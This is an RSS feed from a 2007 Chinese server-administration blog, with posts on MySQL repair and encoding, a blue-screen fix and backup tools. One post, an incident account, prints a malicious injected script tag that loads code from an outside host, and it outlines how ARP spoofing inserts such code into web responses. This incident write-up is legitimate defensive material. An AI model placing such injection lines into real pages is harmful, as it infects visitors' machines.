<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>O&#039;Co DOO &#187; server</title>
	<atom:link href="http://www.iscodoo.com/category/server/feed" rel="self" type="application/rss+xml" />
	<link>http://www.iscodoo.com</link>
	<description>一个竟然存在了四年的博客</description>
	<lastBuildDate>Sat, 24 Jul 2010 10:26:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>服务器蓝屏</title>
		<link>http://www.iscodoo.com/2007/09/windows-2000-advance-server-blue-screen-repair.html</link>
		<comments>http://www.iscodoo.com/2007/09/windows-2000-advance-server-blue-screen-repair.html#comments</comments>
		<pubDate>Mon, 03 Sep 2007 14:26:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[2000]]></category>
		<category><![CDATA[Blue screen]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=24</guid>
		<description><![CDATA[今天老师发信息问我怎么论坛打不开了，我正奇怪都开学了，服务器怎么关了呢？ 到了办公室看了一下，竟然蓝屏了，顿时大汗。据说这台服务器整整一个暑假没有关，都开着（这个服务器是供内网使用的，放假都是关闭的）。 重启，不行，进安全模式，也进不去。 找了半天，跑了半天终于找到了工具，打开机箱把内存条拔下来擦擦，插上去，不行。换了位置，不行。只插一根内存条，不行。 有两种可能吧，第一是硬件坏了，第二是系统坏了。我认为最大的可能是硬件的问题，毕竟开了整整一个暑假，而且软件方面又没有人动它。 只好等明天过去修了。 我的方案是： 服务器是Windows 2000 Advance Server,分3个盘，C盘是系统文件和Web服务的环境，D盘是Web和FTP的目录，E盘是些软件的安装文件。我想先在E盘装上一个简单的系统，2000或者XP都行，如果装不上或者装上也不能启动的话那就是硬件问题了，趁这个机会可以向院里申请给服务器升级了下^_#.如果装好而且正常的话，就要先把文件和数据库备份出来，然后检查一下C盘，看看是不是磁盘错误或者别的问题，能不能修复。如果不能的话只好在C盘重装系统了，打算装Windows 2003 Enterprise Edition.本来想装Ubuntu Server 7.0.4的，但是想想，为了下面的同学能顺利接班和临时让老师帮忙处理一些问题还要用Windows 2003+PHP+MYSQL+Apache吧。 最好的结果：所有数据都能恢复正常。 最坏的结果：FICQ数据丢失。（其它都备份了，这个我没备份啊。如果丢失了就用RTX吧）]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/09/windows-2000-advance-server-blue-screen-repair.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>服务器遭受ARP挂马</title>
		<link>http://www.iscodoo.com/2007/06/anti-arp.html</link>
		<comments>http://www.iscodoo.com/2007/06/anti-arp.html#comments</comments>
		<pubDate>Tue, 05 Jun 2007 05:42:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[arp]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=38</guid>
		<description><![CDATA[今天打开学院内部网站,突然Noscript跳出提示,我汗&#8230;马上意识到网站出问题了. 查看网站首页源: &#160; &#60;script src=http://16a.us/2.js&#62;&#60;/script&#62;&#60;HTML&#62;&#60;HEAD&#62;&#60;TITLE&#62;信息技术学院&#8211;校园分站&#60;/TITLE&#62; &#60;META http-equiv=Content-Type content=&#8221;text/html; charset=gb2312&#8243;&#62; 多了一段,很明显,这是在载入网页之前就加载的JS. 再打开博客页面,里面也是这样,再打开论坛(PHP的DZ)正常,没有被篡改. 马上登陆服务器上看看,打开首页文件,奇怪,没有被修改,好好的呀,又看了其它几个页面,都是没被修改过&#8230;看看文件属性,都是正常的. 瞬间,想起了ARP挂马&#8230; 这学期开学初学校网站服务器就遭受过的&#8230; 下载个antiARP,安装后就没问题了. 打开软件一看吓一跳哦 我汗&#8230;放置服务器的B8四楼的电脑要倒霉了&#8230;信息技术学院办公室的电脑s&#8230;.. ARP的一些介绍 &#160; 目的：通过arp欺骗来直接挂马 优点:可以直接通过arp欺骗来挂马. 通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码 但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码 2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码. 优点:1.可以不用获得目标主机的权限就可以直接在上面挂马 2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句. 3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果. 原理：arp中间人攻击，实际上相当于做了一次代理。 正常时候: A&#8212;-&#62;B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机 arp中间人攻击时候: A&#8212;-&#62;C&#8212;-&#62;B B&#8212;-&#62;C&#8212;-&#62;A 实际上,C在这里做了一次代理的作用 那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 &#160; &#60;iframe&#62; &#8230;之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了. 下载的Anti ARP Sniffer V3.6 免费版 *Anti ARP Sniffer V3.6是一款免费的软件,适合于个人用来监测是否存在ARP欺骗,即使整个局域网部署Anti ARP Sniffer 也不能彻底解决ARP攻击问题,请使用彩影网盾保护整个网络。 能查出此服务器区中，另一台有问题的MAC地址，告诉了网管，后来网管把这台服务器网线给剪了。]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/06/anti-arp.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>帝国备份王2.0!赞一个!</title>
		<link>http://www.iscodoo.com/2007/05/ebak-is-very-useful.html</link>
		<comments>http://www.iscodoo.com/2007/05/ebak-is-very-useful.html#comments</comments>
		<pubDate>Mon, 28 May 2007 07:20:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Website]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[ebak]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=42</guid>
		<description><![CDATA[啊,我一直以为EBAK1.5非常完美了,一次又一次的解决了我的数据转换问题. 但是今天,正好在1.5解决不了我转移XXXXXX到DREAMHOST的时候,帝国发布了2.0! 真是太完美了,无须多说,用一用就知道了! 帝国备份王2.0下载及介绍请看http://bbs.phome.net/ShowThread/?forumid=27&#38;threadid=27016]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/05/ebak-is-very-useful.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何远程修复损坏的mysql数据库</title>
		<link>http://www.iscodoo.com/2007/03/how-to-repair-mysql-database.html</link>
		<comments>http://www.iscodoo.com/2007/03/how-to-repair-mysql-database.html#comments</comments>
		<pubDate>Sat, 17 Mar 2007 06:16:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[Repair]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=78</guid>
		<description><![CDATA[MYSQL在意外断电的情况下 ，经常会出现数据库损坏的提示，如下面所示、 MySQL Query:SELECT count(*) as number FROM phpcms_article WHERE 1 MySQL Error:Can&#8217;t open file: &#8216;analchem_article.MYI&#8217;. (errno: 144) MySQL Errno:1016 Message:MySQL Query Error 可以使用下面的方法进行远程修复。 可以用mysqlcheck这个命令修复，如果您本机没有安装mysql工具 下载文件 并保存到C盘根目录，下载完成后运行以下命令： 点击开始-运行，输入 c:mysqlcheck -r -u用户名 -p数据库密码 -h服务器地址 数据库名 回车即可，如： c:mysqlcheck -r -udemo -pdemo -h218.89.170.62 demo]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/03/how-to-repair-mysql-database.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>重新给主键排序</title>
		<link>http://www.iscodoo.com/2007/03/sort-the-primary-key-by-id.html</link>
		<comments>http://www.iscodoo.com/2007/03/sort-the-primary-key-by-id.html#comments</comments>
		<pubDate>Sat, 17 Mar 2007 02:11:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=79</guid>
		<description><![CDATA[原因:删除了表中的某些记录后,ID主键1,2,3,4,&#8230;&#8230;,n,中间有空缺,想要重新按照1234&#8230;.n无空缺排序. 方法: 1,新建立和原表一样结构的表,假设名为table1,原表名为table0. 2,执行以下语句: insert `table1` (col2,col3,&#8230;,coln) SELECT   col2,col3,&#8230;,coln FROM `table0` ORDER BY 主键id 其中,语句中 (col2,col3,&#8230;,coln)不带主键列名. 3,更改表名. 注意：select后面的字段不能加括号，不然会报错。]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/03/sort-the-primary-key-by-id.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>美国时间</title>
		<link>http://www.iscodoo.com/2007/03/us-time.html</link>
		<comments>http://www.iscodoo.com/2007/03/us-time.html#comments</comments>
		<pubDate>Thu, 15 Mar 2007 07:52:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[GMT]]></category>
		<category><![CDATA[PDT]]></category>
		<category><![CDATA[time]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=80</guid>
		<description><![CDATA[美国的时间比较复杂。 美国本土48州共有四个时区，从西往东依次为太平洋时间，山地时间，中部时间和东部时间。还有阿拉斯加（州）时间。美国还实行夏令时，美国夏令时始于每年4月的第1个周日,止于每年10月的最后一个周日。夏令时比正常时间早一小时。 正常时美国各时间与北京时间的时差 太平洋时间：-16 山地时间：-15 中部时间：-14 东部时间：-13 阿拉斯加时间：-18 例如：北京时间减去16小时就是美国太平洋时间。北京时间20：00，美国太平洋时间就是04：00。 在夏令时，时差少一小时。如在美国夏令时。北京时间20：00，美国太平洋时间就是05：00]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/03/us-time.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>常见问题整理 － 帝国备份王</title>
		<link>http://www.iscodoo.com/2007/02/some-question-about-ebak.html</link>
		<comments>http://www.iscodoo.com/2007/02/some-question-about-ebak.html#comments</comments>
		<pubDate>Mon, 19 Feb 2007 10:29:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[ebak]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=88</guid>
		<description><![CDATA[帝国备份王是一款专门为mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库. 1.如何备份MYSQL数据库？ 答：点菜单“备份数据”-&#62;“选择要备份的数据库”-&#62;“选择要备份的数据表”-&#62;设置好备份选项，点击“开始备份”按钮即可进行备份操作 2.如何恢复数据？ 答：点菜单“恢复数据”-&#62;“选择要恢复的数据备份目录”-&#62;“选择要恢复到的数据库”-&#62;点击“开始恢复”即可进行恢复数据操作 3.如何下载已备份的数据？ 答：直接通过FTP下载“bdata/”下的备份目录即可，恢复时将此目录复制到《帝国备份王》的“bdata/”目录即可。 (小数据也可以直接在线“打包并下载”) 4.出现＂You  have  an  error  in  your  SQL  syntax;&#8230;right  syntax  to  use  near  &#8217;-1&#8242;  at  line  1＂错误 解决方法：＂参数设置＂那把＂MYSQL支持查询方式＂打勾去掉即可． 5.备份时提示＂您来自的链接不存在＂ 解决方法：您没设置好目录权限，重新设置第三步需要设置的目录权限即可解决 6.空间的PHP运行于安全模式怎么备份？ 解决方法：＂参数设置＂那把＂PHP运行于安全模式＂打勾．这样每次都会备份到＂safemod＂目录 7.出现错误提示：＂你填写的数据库用户名或密码有误，连接不上数据库，修改不成功！＂ 解决方法：排除您的用户名与密码有误外，修改数据库密码请记得要选择＂修改密码请选择＂那个复选框 8.不想显示数据库列表的方法 解决方法：＂参数设置＂那输入＂默认备份的数据库＂即可 9.MYSQL  4.1以上版本备份推荐检查一下备份数据 备份好数据后，然后到备份目录下用记事本打开任意一个备份.php文件，看备份数据是否正常。如果都是“???”之类数据。到“参数设置”那设置好默认数据库编码，然后重新备份。 10.MYSQL  4.1以上版本的数据恢复到4.0及以下版本的说明 备份时记得选择“导出为Mysql  4.0或3.*格式”选项]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/02/some-question-about-ebak.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A MySQL 4.1 Story</title>
		<link>http://www.iscodoo.com/2007/02/a-mysql-41-story.html</link>
		<comments>http://www.iscodoo.com/2007/02/a-mysql-41-story.html#comments</comments>
		<pubDate>Fri, 02 Feb 2007 09:03:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=98</guid>
		<description><![CDATA[下面要写的是一篇非常无聊的东西，充斥了大量各式各样的编码、转换、客户端、服务器端、连接……呃，我自己都不愿意去看它，但想一想，写下来还是有点意义的，原因有四： 1. MySQL 4.1 对多语言的支持有了很大变化 (这导致了问题的出现)； 2. 尽管大部分的地方 (包括个人使用和主机提供商)，MySQL 3 仍然占主导地位；但 MySQL 4.1 是 MySQL 官方推荐的数据库，已经有主机提供商开始提供并将会越来越多； 3. 许多 PHP 程序以 MySQL 作为默认的数据库管理软件，但它们一般不区分 MySQL 4.1 与 4.1 以下版本的区别，笼统地称“MySQL 3.xx.xx 以上版本”就满足安装需求了； 4. 因为 latin1 在许多地方 (下边会详细描述具体是哪些地方) 作为默认的字符集，成功的蒙蔽了许多 PHP 程序的开发者和用户，掩盖了在中文等语言环境下会出现的问题； 简单的说，MySQL 自身的变化和使用 MySQL 的 PHP 程序对此忽略，导致了问题的出现和复杂化，而由于大部分用户使用的是英文，使这种问题不被重视。这里提到的 PHP 程序，主要就 WordPress 而言。 MySQL 4.1 字符集支持的原理 MySQL 4.1 对于字符集的指定可以细化到一台机器上安装的 MySQL，其中的一个数据库，其中的一张表，其中的一栏，应该用什么字符集。但是，传统的 Web]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/02/a-mysql-41-story.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>批量修改数据表前缀</title>
		<link>http://www.iscodoo.com/2007/01/batch-modify-data-table-prefix.html</link>
		<comments>http://www.iscodoo.com/2007/01/batch-modify-data-table-prefix.html#comments</comments>
		<pubDate>Wed, 31 Jan 2007 11:53:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=100</guid>
		<description><![CDATA[RENAME TABLE `phpcms_ad` TO `laji_ad`; RENAME TABLE `phpcms_announcement` TO `laji_announcement`; RENAME TABLE `phpcms_article` TO `laji_article`; RENAME TABLE `phpcms_category` TO `laji_category`; RENAME TABLE `phpcms_comment` TO `laji_comment`; RENAME TABLE `phpcms_friendsite` TO `laji_friendsite`; RENAME TABLE `phpcms_guestbook` TO `laji_guestbook`; RENAME TABLE `phpcms_js` TO `laji_js`; RENAME TABLE `phpcms_keylink` TO `laji_keylink`; RENAME TABLE `phpcms_member` TO `laji_member`; RENAME TABLE `phpcms_mypage` TO `laji_mypage`;]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/01/batch-modify-data-table-prefix.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL 4.1数据库中数据转换注意事项</title>
		<link>http://www.iscodoo.com/2007/01/mysql-41-encodeing-change.html</link>
		<comments>http://www.iscodoo.com/2007/01/mysql-41-encodeing-change.html#comments</comments>
		<pubDate>Fri, 19 Jan 2007 13:52:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[server]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[utf8]]></category>

		<guid isPermaLink="false">http://www.iscodoo.com/wordpress/?p=104</guid>
		<description><![CDATA[mysql 4.1增加了编码的支持，所以在转换旧数据的时候稍微麻烦一些，但只要注意以下几点，基本没问题的： 1、转换之前一定要先把原有数据dump出来，一般原有数据都是gb2312编码吧，dump命令如下： mysqldump -u -p database –add-drop-table –extended-insert –add-drop-table是为了导入的时候省去建表环节，–extended-insert是为了防止在导入的时候一个sql语句过大的情况，想想你的上千条记录写在一条sql语句中是多么的恐怖。 这里假定原有数据库是gb2312编码，需要转换为utf8编码，其它编码之间的转换类似。 2、修改dump出来的sql文件，用Emeditor或iconv把文件的编码转换为utf-8，注意最好不要那个什么“UnicodeSignature(BOM)”，因为mysql.exe不认的。再把文件中的gbk_bin替换为utf8_general_ci，把gbk替换为utf8，然后在文件最前面加上set names utf8; 带上BOM，mysql不识别的错误大体如下： ERROR 1064 (42000) at line 1: You have an error nual that corresponds to your MySQL server version ear ‘??? SET_CLIENT */’ at line 1 3、重新建mysql库，然后导入备份的sql语句，导入命令如下： mysql -u -p database &#60; dumpdata.sql 4、如果是以前导出的文件，导入的时候遇到错误： Got a packet bigger than ‘max_allowed_packet’ bytes]]></description>
		<wfw:commentRss>http://www.iscodoo.com/2007/01/mysql-41-encodeing-change.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
